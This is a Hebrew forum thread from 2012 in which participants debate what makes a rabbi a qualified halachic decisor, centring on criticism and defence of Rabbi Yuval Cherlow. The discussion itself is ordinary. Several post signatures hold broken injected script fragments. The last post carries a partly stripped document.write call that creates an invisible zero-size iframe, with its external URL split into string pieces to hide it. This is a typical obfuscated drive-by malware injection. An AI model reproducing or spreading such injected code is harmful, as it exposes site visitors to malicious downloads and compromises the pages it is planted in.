| נשלח ב-30/3/2012 17:37 |
 |
| |
ממשה ועד הרב שרלו: מי נקרא פוסק?
אחד מחברי הפורום כתב באשכול על אמונ"ח וירידת הדורות (http://www.bhol.co.il/forums/topic.asp?whichpage=8&topic_id=2950112&forum_id=1364) כך: "אין לנו היכרות ישירה עם גדולי אומתנו במשך הדורות. אולם אם אנו מתעלמים - וזה לא קל - מן הנחת היסוד האוטומטית של גדולה, ואם אנו מחליטים על קריטריונים לבדיקה, ואם נבחר רשימה של גדולים, אלו ציונים אפשר לנסות לתת להם לפי מה שאנו מכירים אודותיהם ומכתיבתם?
זה יכול להיות נסיון מעניין. רק שאולי כבר כדאי לפתוח עבורו אשכול חדש. אני חושש מאד ממדרונות חלקלקים, ובכל זאת אציע:
לערוך רשימה של גדולים. (ההדגשה שלי. ת"ט) אברהם אבינו.
משה רבנו.
ירמיהו
עזרא הסופר
הלל
שמואל האמורא
ניתן להוסיף לרשימה עוד ועוד. גאון אחד לפחות. ראשונים (רש"י, רבנו תם, הרמב"ם, ועוד), וכמה אחרונים:
רעק"א
הגר"א
הפרי מגדים
ובזמננו:
הרשז"א
הרב נדל (בדחילו ורחימו)
ואולי הרב שרלו? (ההדגשה שלי. ת"ט)
ולהציע קריטריונים לבדיקה:
א. ידע מדעי.
ב. מידות טובות. (רחמנות, נדיבות, סבלנות, ועוד)
ג. מסירות לאמת
ד. כשרונות אינטלקטואליים: זכרון, יכולת הבנה, יכולת ניתוח, עוד?
ה. עוד קריטריונים: נכונות לקבלת אחריות ולהכריע, למשל?
אפשר להכין טבלה ולדרג לפי המידע שיש לנו, ובוודאי שרשימה זו לא תהיה ממצה.
ניתן לטעון שרשימה כזו לא תוכל למצות את גדולת רבותינו. אבל יתכן שאפשר להתחיל בה". עד כאן דבריו. תמיד הרב שרלו היה אצלי חידה, אבל לא האיש עצמו הוא הנקודה אלא המגמה שהוא מהווה לה סמל. אכן, לפי הקריטריונים שנקב הכותב, הרב שרלו הוא אולי ראש וראשון לגדולים (לפחות מבין האחרונים). ידע מדעי? יש יחסית לאחרים, מידות ומסירות לאמת – איני בוחן כליות ולב אבל נראה לי שהרב שרלו בעל מידות הוא ובצורה מרשימה. כשרונות – איני יודע, מה שראיתי בכתביו, וחפשתי לא מעט, מראה על הבנה ישרה, שכל ישר, שהם תכונות בסיס להיותו של אדם "גדול תורה". אבל זו מדרגה ראשונה בגרם המעלות. תכונות מעבר לכך לא זיהיתי (איני שולל בודאות, פשוט אם ישנן –לא באו לידי בטוי. אולי בגלל אופי הנושאים הוא כותב עליהם, שאינו מצריך וירטואזיות מיוחדת). נכונות להכרעה – יש ויש. ברם זו מעלה רק אם היא נלווית למקצוענות הלכתית ברמה גבוהה. ככל שהשאלות הינן ציבוריות יותר רמת המקצוענות אמורה לעלות. חשוב לציין כי מלבד תכונות אלו יש לרב שרלו מעלות רבות נוספות, הוא מעורב עם הבריות, מבין את צרכי הדור, בעל כריזמה והשפעה חיובית על צעירים. הוא אינו מפחד להביע את דעתו (אם כי יש לציין פעמים רבות היא מובעת בעירפול, אבל אכמ"ל) ובנוסף הוא גם מומחה באתיקה ואולי גם בתנ"ך. איש חיובי ובעל תכונות המכשירות אותו למנהיגות. דבר אחד חסר ברשימת התכונות שיועדו ע"י הכותב לגדול, ואולי חסר גם ברב שרלו. כל נקובים ברשימה, החל מתקופת הראשונים והלאה (לפניה קשה לקבוע, התורה היתה רובה בע"פ וללא תיעוד מפורט) יכולים להציג "קבלות" על היותם בקיאים בחומר התורני (כל אחד בשל זמנו) ומבינים אותו בהעמקה וביסודיות, עד לכושר פסיקת הלכה באופן ישיר מהמקורות הראשוניים (גמ' וראשונים – לגבי האחרונים). הקבלות הינן או בצורת כתבים המוכיחים על כותביהם או בעדות של תלמידים או אחרים שהם עצמם ת"ח מוכחים (ע"י כתבים). כמובן שעדויות יש לקבל בחשד יחסי (תלמידים נוטים לפעמים ל"האלהת רבם", אבל אין לשלול עדויות באופן גורף). כולם – למעט אחד. הרב שרלו. חפשתי וחפשתי ומסקנתי שבחומר שהתפרסם אין סיבה המניעה לחשוב כי הרב שרלו הינו גדול בתורה. בתשובותיו בדר"כ אין מו"מ הלכתי מעמיק. יתכן וסיבותיו עימו, אבל מכאן ועד הוכחה לגדלות הלכתית רבה הדרך. ברשימת ספריו אין ספר ובו מו"מ הלכתי "כבד". זכורני שראיתי פעם דף ניר ובו דברים שכתב הרב אויערבך לרב אלישיב בנלווה למשלוח מנות (למיטב זכרוני) ודברים ששרבט הרב אלישיב על נייר זה כתשובה, היו שם הערות המעידות על ידע הלכתי עצום ומגוון בנושאים רבים. זה הידע הנדרש מגדול תורה. לאחר שיש לו את הבסיס – יש צורך בעוד תכונות שבלעדיהן הוא ת"ח שלא הגיע להוראה או שאינו ראוי להיות מנהיג הלכתי (ולא לכולם יש!). החלק הנגלה ב"למדנותו" של הרב שרלו רחוק מרחק עצום מרמתם. ממני נבצר מהבן איך אדם שאין לו קבלות כאלו יכול להחשב כגדול הלכתי. זה כמו למנות אחות נהדרת או חשב בי"ח לראש מחלקה בבי"ח. חושבני שיש כאן אבולוציה רבנית. דהיינו הפרקטיקה הנדרשת מרב מתאימה את עצמה למציאות. אין לנו רבנים גדולי תורה? המערכת שלנו אינה מצליחה להוציא די תלמידי חכמים בקנה המידה הנדרש לזה? בואו נגדיר מחדש מהו גדול התורה הראוי. בהגדרה זו נוותר על מקצוענות תלמודית הלכתית. ומילא יהיו לנו גדולי תורה. לגישה זו תוצאות הרסניות, לא רק בנושא הישיר של כשורי הפוסקים. מתוך רצון להתיישר עם עצמה, המערכת מגמדת את הפן הלכתי ומדחיקה אותו מעט. נוצרת גישה כי די ברבנים בינוניים, אין צורך ברבנים שמקצועיותם התלמודית לעילא ולעילא. גישה זו גורמת לרבנים, המרגישים שהם צריכים להתמקצע באופן יחודי להראות התמקצעות כממחים באתיקה וכחברים בוועדות רבות השפעה (ועדת סל התרופות, ועדת הלסינקי העליונה, הוועדה לבררת מין העובר ומועמת העיתונות), ולעסוק בגישור בין העולם החילוני לדתי (משימה שהיא בוודאי חשובה אם כי אולי חסרת סכוי). הכל טוב ויפה – אבל לראות בזה מגדולי הדור? יותר מכך – המלך היודע שהוא עירום, ממציא בגדים. הנה דוגמה ממאמרו שפורסם באקדמות יב - (הנה קישור - http://www.bmj.org.il/userfiles/akdamot/12/serlo.pdf ). דבריו באדום " הכוונה לשנוי המתחולל בישיבות הסדר ביחס שבין למדנות הלכתית לבין מנהיגות ציבורית .יש ישיבות שהעומד בראשן אינו מנחה את לימוד הגמ' ןאת ההלכה הפרטית, [למה? כי אינו רוצה או כי אינו יכול? – ת"ט] אך הוא הקובע את דרכה של הישיבה בעיקר בשאלת הלכתיות רבות משמעות ותוקף...ההנחה שרק העוסק בפרטי ההלכה בפועל הינו ראוי להנחות את דרכה הכללית של הלכה אינה תקפה עוד באופן מוחלט. זוהי.. שיבה מסוימת לדמותה הנבואית של הלכה". יש כאן הודאה מפורשת בלקות מקצועית ויצירת גישה חדשה שבה המקצועיות התלמודית אינה עיקר לפסיקת הלכה. אני - נביא אני. לא במקרה יש הימנעות מלהראות מקצוענות תלמודית בפרטי ההלכה ונטייה להראותה בעניינים כלליים, שבהם האתיקה והשכל הישר הם העיקר ולעיתים בכלל אינם שייכים להלכה בכהוא זה. קשה להראות מקצוענות בשטחים חרושים, קל להראותה בשטחי בור שבהם אין חומר הלכתי. כאשר הדבר נעשה ע"י מקצוען – שפיר. אבל כאשר מקצוענותו של הרב היא רק בשטחים עלומים הדבר אומר דרשני. הזו שיבה לדמותה הנבואית של ההלכה? האם דרך זו אינה מביאה לידי דחיקת חלקה של הלכה בפני תורות אתיות שאינן בהכרח ממקורות ההלכה אלא , בהתאם לשיטתו " התפתחותה העצמית של ההלכה אוטמת אותה מפירות העולם החיצוני לה....." והוא הוא הכשיר לדלות לנו את העושר העולמי. לו היה מדובר בענייני מחשבה – החרשתי, אבל בענייני הלכה – וזה הקשר העולה מהמאמר – הגישה בעייתית. בעייתית פי כמה כאשר מומחיות הדולה הינה יותר בעושר החיצוני ופחות הדלות הפנימית. והלאה באותו הקו – שיטה זו שאין לה קבלות בהלכה הקלאסית מתימרת במפורש לעצב הלכות חדשות "הלכות כלל מעוצבות לפי נקודת מבט ציבורית. שאלות אתיות של תפיסת חיים. מהלך הטמעה של הלכה נבואית" . איני בטוח שיש לעצב הלכות במבט חדש, ציבורי. אבל גם אם כן הייתי רוצה שמי שיעשה כן יהיה בקי קודם במבט הישן ושממנו יינק את רוב תורתו ולא מתורות אתיות (זרות) ומדמיונות של הלכה נבואית. אני רואה בדברים מקבילה לאמרת הכנף של הרב שג"ר שהובאה במקור ראשון באחד הגליונות האחרונים " איך יצמח ר' עקיבא אייגר הבא, שאל פעם הרב ח"י גולדוויכט זצ"ל את ייבל"א הרב רא"ם הכהן, מתלמידים שהקדישו את נעוריהם לדברים אחרים. ר' עקיבא אייגר איני משוכנע שיהיו, אבל ר' עקיבא – כן, השיב לו בחדות" זהו בדיוק הויכוח, האם אנו רוצים –בהלכה!! (לא במישור הציבורי) - רעק"א, שאותו אנו מכירים, רו ר"ע מדומיין שקל לומר כי היתה לו גישה הלכתית נבואית וכו' וכו' וכו' ולהתעלם מכך שבני דורו ראוהו כפקרטיקן הלכתי נברן (תלי תילים על כל קוץ). יודגש כי אני חושב באמת שלרב שרלו, ולרבנים דומים, יש תכונות מעולות רבות ולו היתה חלוקת עבודה ראויה היה מן הראוי כי אנשים כמוהו יהיו מורי דרך מוסרית. אבל מה להם ולהלכה? אני יודע שאני הולך "לחטוף", לפחות תיכף שבת ו 24 שעות אני מוגן
תוקן על ידי עצכח ב- 01/04/2012 14:32:36
 |
|
|
|
|
| נשלח ב-30/3/2012 17:43 |
|
| |
[ת"ט
חסת על כבודי ולא גילית שאני הוא בעל ההצעה?]
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-30/3/2012 17:46 |
|
| |
ולענין האשכול -
ברשימה שהכנתי שכחתי כמובן את הסעיף הראשון שהוא ידיעה בתורה.
אמנם, כאן יש מקום עיון. האם מה שאנו קוראים (בעולם "הישיבות") גדולה בתורה הוא מונח שמצביע תמיד על אותו דבר ואינו משתנה, למשל, מימי רבי ישמעאל ורבי עקיבא, דרך רבא ורב אשי, עד ימינו?
באחת המשניות מובא מעשה בדרך אגב. שאלה ששאל רבי עקיבא את אחד התנאים (רבן גמליאל?) בדרך לאיטליז לקנית בשר.
גם בלכתו בדרך היה ר"ע עסוק בלימוד. ממש כמו בפרקי אבות שמזהירים שלא להפסיק אפילו כדי להתפעל מן הבריאה היפה. וממש כמו איזה משגיח בן זמננו. וכמו שאפשר לראות תדיר את הגר"ח קנייבסקי, יושב ושונה.
ובכל זאת, כמה מזה באמת נחוץ כדי להיות גדול בתורה וכדי לענות תשובות נכונות?
האם הרב ליכטנשטיין, שלמד ספרות אנגלית ומצא בה תיאורי חויות דתיות וערכים, אינו גדול בתורה ופוסק?
איני בא לחוות דעה על הרב שרלו כי איני מכירו.
לפיכך יש כאן עוד שאלה: מה אמור להיות הידע התורני שרב נזקק לו כדי להיות גדול בתורה?
יש לצרף את השאלה הזו לאחרות.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-30/3/2012 18:19 |
|
| |
מכיון שהוזכר כאן שם פרטי של הרב יובל שרלו,אז אולי יש בכך לה"ר,אבל מצד שני, חושבני, שלומר ולהודיע על אדם שיתכן לחשוב מעלות שאין בו שיש בו ולהודיע האמת,אין בכך כל בעיה.
לגבי ידע תורני,אני חושב שכדאי שתנסה לעקוב אחר תולדות חייו, ועל עיסוקיו, ותבין שלא צריך לחפש מאמרים תורניים שלו,כי ברור שאין לו ידע תורני ברמה שניתן בכלל להכיל עליו את המונח של גדול בישראל.
מה שאתה כותב על נחמדות ומידות,אני לא מכיר אותו כלל, אבל זה שאדם נחמד באופן כללי וכו' זה לא אומר כלום על האדם, האם ראית אותו פעם במקום שבן אדם אמור לבוא לידי כעס, או להתנהג בצורה לא נאותה,וראית איך הוא התנהג?
זה בעיה להיות נחמד בעת שיחה בפני ציבור או במעמדים מעין אלו?
לגבי ידיעה בתורה, גדול בתורה צריך להיות "תלמיד חכם", וזה מוגדר כאדם בעל יידעה תורנית גדולה מאוד, עד שמובא שבימינו כמעט אין כזה אחד.
יכול להיות ששיך מושג של כבוד גם ל"צדיק", גם אם אינו ת"ח, אולי יש מושג של הנהגה למלך גם אם אינו ת"ח, אבל אנו דנים על המושג של גדול בתורה, של חובת הכבוד והמורא מפני ת"ח, המעמד המיוחד שיש לת"ח וזה קשור בראש ובראשונה לידיעה תורנית.
כמו שמביאים מעשה,לא זוכר את פרטיו,אבל הכיוון הכללי הוא, שהגר"ח מבריסק זצ"ל העדיף חזן בעל קול נעים על פני חזן עם קול שאינו ערב,אף ששאר המעלות שהוזכרו בחזן,שיהיה יר"ש וכו' היו דוקא בחזן שקולו היה פחות ערב, ואמר, שמהות חזן זה שיש לו קול ערב,ואח"כ כשנבוא לדון מי עדיף על מי, יש משמעיות למעלות הנוספות, גם לענינו, ללא ידיעה תורנית, אדם איננו גדול בתורה, ולא יעזרו לו כל שלל מעלותיו האחרות.
|
|
|
|
|
| נשלח ב-31/3/2012 20:54 |
|
| |
ואני חושב שלפי הקריטריונים של הפורום, אין מקום לאשכול בצורתו הנוכחית.
|
|
|
|
| נשלח ב-31/3/2012 22:35 |
|
| |
בעל בעמיו התריע כי יש באשכול בצורתו הנוכחית משום לשון הרע או הוצאת שם רע על הרב שרלו.
אציין כי גם לדברי פותח האשכול, אין לו ראיות לחוסר יכולת של הרב שרלו, אלא רק קבע כי לפי המקורות שעמדו לרשותו מתוך כתביו וכתבי תלמידיו, לא מצא בהם אותו דיון תורני ישיבתי שהוא מורגל לזהות כסימן ליכולת תורנית ולבקיאות הנדרשת.
אני מציע להעביר את הדיון מהרב שרלו - ועם הבהרה כי אין כאן נתונים להכרעה לגבי ידיעותיו אלו, ו"אין נתונים" פירושו שאין לזלזל בו - לשאלה חשובה אפילו יותר, בגלל כלליותה.
מה הן הידיעות התורניות שגדול בתורה הראוי לפסוק אמור להכיר?
אני מציע כמה אבחנות. ראשית, יש לחלק בין ידע בהלכה לבין ידע במטא הלכה. גם המטא הלכה (במובן שהצעתי בעבר, של כל מה שאינו נוגע במישרין לסוגיה הרלוונטית לפסיקה בשאלה ספציפית. לדוגמא: דיון במלאכת בורר כדי להכריע בשאלת ברירה, אך יש גם שיקולים נוספים) יכולה להיות מן הגמרא או ממקורות אחרים. ויש מעמד בינים מיוחד לסברה, כיון שהגמרא עצמה מכירה בכך ש"סברה" נחשבת מן התורה, אבל מהי סברה ומה לא? איני מציע לדון בכך כאן אבל ראוי להעמיד על חשיבות הנושא.
אם כי יש בידינו חלוקה משולשת של תנאי היסוד התורניים.
א. ידע הלכתי כפי שיבואר לקמן.
ב. ידע מטא הלכתי מן המקורות.
ג. ידע מטא הלכתי מן הסברה "מבחוץ".
עתה יש לשאול לגבי הסעיף הראשון שבו עסק ת"ט. מה נכלל בידע הלכתי?
אם נבחן את השאלה על ציר הזמן, נקבל את הפרקים הבאים:
א. מקרא. חומש, תנ"ך אם זה רלוונטי.
ב. מדרשי הלכה.
ג. משניות וחומר תנאי, גמרא וחומר תלמודי בכלל.
ד. ראשונים מרכזיים (רש"י, רי"ף, רמב"ם, רא"ש).
ה. ראשונים בכלל.
ו. טור וב"י ושו"ע.
ז. נושאי כלים של הטור והשו"ע.
ח. אחרונים חשובים.
ט. המ"ב.
י. אחרוני אחרונים.
יא. שו"תים לדורותיהם (אולי יש למקם את הסעיף הזה לעיל).
וכן
יב. סגנון לימוד ויכולת "לפלפל".
האם יש להוסיף?
כדאי להביא דוגמאות לכל הנ"ל. כלומר, להציג כיצד יש לדעת הכותב או בכלל לנתח שאלה הלכתית ומה ייחשב כתשובה הלכתית הולמת ומה לא. הרי יתכן, בשלב כלשהו, שנגיע למסקנה הפרדוקסלית שאפשר להשיב תשובה נכונה אבל ללא רקע מספיק או להפך, להיות בעל רקע ולהשיב תשובה שאינה נכונה, או לפחות כזו שלדעת חלק מכותבינו, כולל בעל האשכול, תהיה טעות בגלל שיקולים מטא הלכתיים.
אנסה להדגים. סיפור מפורסם מספר על חלב שנשפך לסיר בשר ערב שמחה בירושלים של פעם. השאלה הובאה לפני הרב שמואל סלנט. הלה חישב ומצא שאין בסיר כדי 60 נגד החלב. אבל הוא קרא לחלבן, דיבר איתו בסודי סודות, ומצא שהחלב היה מעורב במים ולכן יש באמת 60 כנגדו.
יש כאן ידע הלכתי וגם פיקחות בעניני העולם הזה.
נניח שגם לאחר הבירור הזה עדיין אין 60. האם מותר לייעץ לשואלים להוסיף עוד כדי לקבל 60 נגד החלב? זה "לבטל איסור בידים". אבל יתכן שיש להקל בדבר, במיוחד, נניח, אם זה עוף ולא בשר בקר.
מה צריך להיות היקף הידע שבזכותו תתקבל תשובה של היתר (אולי עם ביטול בידים ואולי באופן אחר) בהסתמך על שעת הדחק? כלומר על שיקול מטא הלכתי שהוא אמנם תורני ומצוי כבר בגמרא?
הגר"א פסק היישר מן הגמרא אם כי ידע כמסתבר גם ראשונים ואת חשובי האחרונים.
אחרים פוסקים בהסתמך על כל הפוסקים מכל התקופות, תוך בקיאות עצומה ותוך התחשבות בצורכי השואל. כוונתי כמובן לרב עובדיה יוסף.
דוגמאות להיתרים של שעת הדחק ניתן למצוא בשו"תים. כפי שניתן למצוא גם החמרות לכתחילה (שלדעת כותב שורות אלו אינן נכונות בגישה).
האם ההבדל לדעת ת"ט בין פסקי הרב שרלו להקל לבין פסקי אחרים להחמיר הוא בכך שהרב שרלו צודק אבל אינו מוצדק בלי מקורות מספיקים (אם באמת אין לו) ואילו אחרים מכירים את המקורות אבל אינם יודעים כיצד לטפל בהם?
מה יותר גרוע?
אם אשתמש במשלו המפורסם של ריה"ל, ניתן לטעון כי תשובה אמיתית שאינה מבוססת מספיק היא כמו תרופה שיציע מי שאינו רופא. אולי היא טובה במקום מסויים ובזמן מסויים, אבל אסור למי שאינו רופא מוסמך להגיש אותה.
אולם מה הם התנאים של ידע מוקדם שצריך כדי לענות?
אפשר להביא דוגמא של שאלה שהוצגה בפני הרב שרלו ורצוי כזו שהובאה גם בפני פוסקים אחרים ולראות מה ענה וכיצד ענה ועל מה הסתמך. אותו דבר נכון לגבי פוסקים אחרים.
ושוב, יש לשים לב להערתו של בעל בעמיו. גם מי שאינו מחזיק מן הרב שרלו צריך להציע אך ורק דברים מנומקים ומגובים, כפי שיש לנהוג ביחס לכל רב אחר שמוכר בהיסטוריה שלנו (אני נוטל קורה מבין עיני: כאשר כתבתי ביקורת על "מקובל מסויים" גיביתי או השתדלתי לגבות את דברי בראיות, וכאשר טענו נגדי שיש הסבר אחר לנתונים שהבאתי, גוננתי על עמדתי ועל ניתוחי. אולם יש לזכור ש"לא ראיתי ידע" אינה ראיה!).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-31/3/2012 23:20 |
|
| |
בעב השאלה שרציתי להעמיד לדיון הינה האם אנו "מחפשים" רב בעל מקצוענות תלמודית קלאסית, במובן של לימודם של הרמב"ם, הב"י, רעק"א, הגר"א, הגר"ח מבריסק, בחזו"א, הרב איערבך, הרב שפירא והרב ליכטנשטיין (אני מקווה שהקשת של ההשקפות ושיטות הלימוד רחבה דיה) או רב שאין לנו הוכחה ליכולתו זאת. ושאלת משנה – האם אין נטיה של רבנים שאינם כאלו "לסחוב" את ההלכה לכוונים שאינם הלכתיים ומעקרים אותה. נכון ששאלה זו יכולה להשאל לא פחות על רבני "דעת תורה" בכל עניין. אין לי שום התנגדות שמישהו מההנהלה ישחיל זאת (אני כבר איני יכול). מה שחמור יותר ב"סחיבת" ההלכה לצד "שמאל" (המינוח שרירותי) הוא שעבור כמה דורות של תהליך כזה ההמשכיות ההלכתית תיעקר. א6ין ספק שגם סחיבה לימין יש בה צרות צרורות אבל סכנתה לעתיד היהדות פחותה. הרב שרלו נבחר כפלטפורמה משתי סיבות. העיקרית היא שהוא המייצג העיקרי של הזרם הזה של רבנים. השניה היא הרשימה של מיימוני, שבה כיכב הרב שרלו, שלא בטובתו (ואני מאמין גם שלא לרצונו, לו היה נשאל).
|
|
|
|
| נשלח ב-31/3/2012 23:40 |
|
| |
ת"ט
אם אני פתחתי בדבר, אז צר לי. הבה נניח לרב שרלו. אם הבאתיו כדוגמא, הרי זה בגלל שקבלתי רושם שהוא פוסק לפי הסברה הנכונה ודבריו מתאימים למטא הלכה.
בכל אופן, כתבת:
אנו "מחפשים" רב בעל מקצוענות תלמודית קלאסית,
והדגמת:
במובן של לימודם של הרמב"ם, הב"י, רעק"א, הגר"א, הגר"ח מבריסק, בחזו"א, הרב איערבך, הרב שפירא והרב ליכטנשטיין
האמנם יש צד שווה לכולם? ומהו?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-31/3/2012 23:44 |
|
| |
אני בטוחה שמשה לא היה מזדעזע .
רק מי שמצוי בתוך הדת החרדית יכל לחשוב בכיוון הזה.
ותמהני על מיימוני שהמילה וויכוח אינה לטעמו אך אינו חושש להזכיר שם של רב בישראל בדיון שנושאו הוא כללי ביותר ולכן יכל היה להתנהל באופן כללי בלי הזכרת שמות.
וזה שת"ט "סחב" את הרעיון ממיימוני ולא מפסיק להתנצל על כך מזכיר לי את יורים ובוכים.
|
|
|
|
| נשלח ב-31/3/2012 23:53 |
|
| |
לעיל הבאתי כמה מאפיינים של הפוסק והפסק.
ואזכיר לדוגמא תשובה של הרמב"ם. אין מי שיתכחש לבקיאותו בתלמוד. הוא גם היה בקיא בקודמיו, בגאונים וכמובן ברי"ף.
אבל כאשר נשאל שאלה מאד מפורסמת על אשה שקיבלה גט עם עדים פסולים, מצא היתר דחוק מאד.
שאלה ג (מהדורת בלאו כנראה ואין תקליטורי עמי כרגע):
אדם אשר גרש אשתו וכתב לה גט וחתמו בו שני עדים ומסר אותו לה לפני העדים הנזכרים אח"כ השלימה תקופת המתנתה ונישאה לאדם אחר וילדה לו בנים
וכאשר ראה הבעל זאת עברה אותו רוח קנאה לאשתו כיצד גרשה... הלך וקיים שטר בשני עדים כשרים על עדי הגט שהם בעלי עברות ועודם ידועם כעוברים על איסורים ומבטלין המצוות המעשיות... ועוברים על לאו לא תקיפו ... וזולתי זה (עבירות) שאינן נראות לעין ושמתחייב בהן כרת
והיהודים מספרים בזה תמיד זאת עליהם
ומקובל לפי דבריהם שהם בועלי נידות להכעיס...
מה דין האשה?
הרמב"ם משיב:
1. אין לקחת עדים כאלו.
2. אל תתקבל עדות בעל עבירה בשום פנים, לא בממון ולא באיסור.
3. בענין האשה: אם יתקיים על אלו שני העדים דבר ממה שהזכיר, בעדים והתראה (הרמב"ם ממחיש מהי, כולל שהמותרה יקבל על עצמו את העונש) זה האיש פסול והגט פסול והבנים ממזרים.
4. אבל אם מעידים הכשרים שראו לעדי הגט הללו עוברים אלו העבירות ולא התרו בהם או שהדבר מפורסם בלבד - יתחייב הבעל הראשון... לכתוב לה גט אחר בכשרים והיא (תשאר) ברשות בעלה ולא תתגרש ממנו.
איך הכשיר הרמב"ם את הבנים נגד דין הגמרא לפסול עדים באיסורים שאינם ממון (כאביי ולא כרבא, כפי שפסק בעצמו במשנה תורה)?
יש דיונים רבים על הרמב"ם הזה. אבל כמדומה שברור שהרמב"ם הכריע כאן משיקול מטא הלכתי שמצוי גם בגמרא. דרכי דרכי נועם וכל נתיבותיה שלום. אם אפשר להקל בדין האשה וילדיה, מצוה רבה לעשות כן. וצריך רק לשמור שלא ילמדו מזה התר למקרים אחרים. וצריך גם איכשהו לתמרן זאת לתוך המקורות. כך זה נראה לי. וכמובן ניתן לטעון שאני מקצין בפירושי.
|
|
|
|
|
| נשלח ב-1/4/2012 00:07 |
|
| |
מימוני,
המשותף הוא "מקצוענות" תלמודית - הלכתית
|
|
|
|
|
| נשלח ב-1/4/2012 00:12 |
|
| |
בעיני עדיף לשנות את נושא האשכול מ"הרב שרלו" להלכה נבואית (תרתי דסתרי בעיני , עקרונית אלו שתי גישות שונות עם מקור סמכות שונה שלא לומר הפוך) או רצוי באופן כללי יותר ליחס בין מסגרות ההלכה לבין גישות עם פן שנכנה אותו כאן נבואי (אני בכוונה מתנסח כאן כדי שהדיון לא יתמקד בשאלה האם גישות כאלו אכן ראויות להיקרא נבואיות או לא) , דומני שמתבקש להתחיל עם ר' אליעזר מול שאר השחכמים (ובפרט ר' יהושע ורבן גמליאל ב"תנורו של עכנאי") להמשיך אולי עם ר"ע או רשב"י , ולעבור לחסידות או לרב קוק וסיעתו. (על הרציונליסטים מול הקבליסטים אני מוותר כי זה כבר נטחן הרבה מדי לטעמי בפורום הזה...)
כי אחרי הכל זה נושא שמלוה אותנו משלבים די מוקדמים בימי בית שני, ובדר"כ הביא למקומות לא הכי טובים (אם נהיה עדינים...) קודם כל במובן הבין אישי, אבל לא פחות מכך בבירור עצם הנושאים שהועלו במגוון המחלוקות הללו.
|
|
|
|
| נשלח ב-1/4/2012 02:16 |
|
| |
ת"ט
אבל מה כוללת מקצוענות זו?!
נא סמן מה מתוך מה שהצעתי ברשימה לעיל חשוב ומהותי ומה אפשר לוותר עליו.
ונבדוק מול דוגמאות על ציר הזמן של מסורת התורה.
אני מעתיק ממה שכתבתי לעיל:
***
א. ידע הלכתי כפי שיבואר לקמן.
ב. ידע מטא הלכתי מן המקורות.
ג. ידע מטא הלכתי מן הסברה "מבחוץ".
עתה יש לשאול לגבי הסעיף הראשון שבו עסק ת"ט. מה נכלל בידע הלכתי?
אם נבחן את השאלה על ציר הזמן, נקבל את הפרקים הבאים:
א. מקרא. חומש, תנ"ך אם זה רלוונטי.
ב. מדרשי הלכה.
ג. משניות וחומר תנאי, גמרא וחומר תלמודי בכלל.
ד. ראשונים מרכזיים (רש"י, רי"ף, רמב"ם, רא"ש).
ה. ראשונים בכלל.
ו. טור וב"י ושו"ע.
ז. נושאי כלים של הטור והשו"ע.
ח. אחרונים חשובים.
ט. המ"ב.
י. אחרוני אחרונים.
יא. שו"תים לדורותיהם (אולי יש למקם את הסעיף הזה לעיל).
וכן
יב. סגנון לימוד ויכולת "לפלפל".
|
|
|
|
| נשלח ב-1/4/2012 07:33 |
|
| |
.
מיימוני,
מאחר והחילותם לדון במדדים לגדלותו של רב כלשהו, אני מציע - כקבוצת ביקורת - לבצע את אותו המבחן לפי אותם הקריטריונים לכמה רבנים אחרים.
אנא, בחנו באותם הלכים בדיוק את הרב יואל מסאטמער, את הרב שך, את הרב אלישיב, את הלובביצ'ער...
מעניין יהיה לראות היאך התוצאות עומדות, ומה תהיינה המסקנות לגבי תוקף הבדיקה.
או במלים אחרות, אתה באמת מנסה לבנות גדולומטר?
|
|
|
|
| נשלח ב-1/4/2012 07:45 |
|
| |
[מיימוני,
לענ"ד שכחת (?) את הקריטריון החשוב ביותר לבדיקת גדלותו בתורה של רב כלשהו - האם אני (כל "אני" שהוא) מסכימ/ה איתו...]
|
|
|
|
| נשלח ב-1/4/2012 07:45 |
|
| |
מואדיב
חלילה לי לחפש לפסול רבנים.
אם קראת מה שכתבתי, כוונתי היתה לאפיין מה התנאים הדרושים כדי להחשב כרב ופוסק וגדול.
ולא בדרך בדיחה, כמו במכשיר שלך מפעם (סמיילי) אלא ברצינות גמורה.
אם הזכרתי את הרב שרלו, הרי זה בגלל שהוא מצטיין בסברה ישרה. לטענה שאין לו בקיאות במקורות לא נמצאה שום הוכחה וכן לטענה שהוא אינו משתמש בדרך הלימוד הישיבתי. גם לא הובהר מהי אותה דרך אפילו על ידי דוגמא ואילו הדוגמא הנגדית שלי, מן הרמב"ם, מראה שלכאורה אין צורך בתנאי הזה.
מי שיקח את האשכול בכיוון של ביקורת על הרב שרלו יעשה בו שימוש שלא מדעתי. איני אומר שאין מקום לדון ברב פלוני ובשיטת הפסק והלימוד שלו, ואם זה ייעשה לא כרכילות אלא כבדיקה לצורך לימוד, זה סביר. זה מה שעשיתי בעצמי לכמה רבנים בהווה ובעבר (הרח"ו, הרב זילברשטיין, הרב ש. ז. אויירבך). אבל רוב הנסיונות לנהל דיון כזה בעבר לא צלחו (אשכולות על חבד, הרב שך וגור ננעלו בשל כתיבה לא ענינית שהצריכה מחיקות ובסוף נעילה). אני מקוה שלא כן יהיה עם האשכול הזה. אולי כדאי לקבוע שלא להתייחס לרב שרלו מרגע זה באשכול זה כלל?
_______נוספה הפניה לעוד אשכול שדן ברב בהצלחה__________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 01/04/2012 07:46:12
|
|
|
|
|
|
